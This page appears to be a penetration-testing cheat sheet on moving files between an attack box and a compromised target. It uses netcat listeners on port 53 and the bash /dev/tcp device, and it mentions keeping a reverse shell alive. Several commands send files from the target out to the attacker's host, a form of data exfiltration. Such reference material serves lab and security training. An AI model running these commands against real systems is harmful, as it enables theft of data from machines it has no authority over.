Skip to main content

Netcat

Listener on Attack Box

File from Target to Attack Box

nc -lnvp 53 -q 3 > /tmp/got-the-file

Start a listener on the attack box and redirect output

nc -q 3 -nv attack-box-ip 53 < /path/to/file

Connect to the listener and pull in the file

File to Target from Attack Box

nc -lnvp 53 -q 3 < /tmp/input-file

Start a listener on the attack box and redirect output

nc -q 3 -nv attack-box-ip 53 > /tmp/got-the-file

Connect to the listener and download the file to the target

Listener on Target

From Attack Box to the Target

Hint: You may also want to start the listener on the target in the background, as CTRL+C will likely kill your reverse shell.

nc -q 3 -lnvp 55555 < /path/to/file &

Start a listener on the target and pull in the file

nc -nv target-ip 55555 -q 3 > /tmp/got-the-file

Connect to the listener on the target and download the file locally

Netcat Not on the Target?

If nc is not installed on the target, you can use the bash built-in /dev/tcp function to send the contents of the file over the TCP socket using cat

File to Attack Box

nc -lnvp 53 -q 3 > /tmp/got-the-file

Start a listener on the attack box and redirect output

bash -c 'cat /path/to/file >& /dev/tcp/attack-box-ip/53 0>&1'

Send the file contents over the TCP socket using cat and the bash built-in /dev/tcp function

File to the Target

nc -lnvp 53 -q 3 < /tmp/input-file

Start a listener on the attack box and source the file

bash -c 'cat < /dev/tcp/attack-box-ip/53 > /tmp/output-file'

Send the file contents over the TCP socket using cat and the bash built-in /dev/tcp function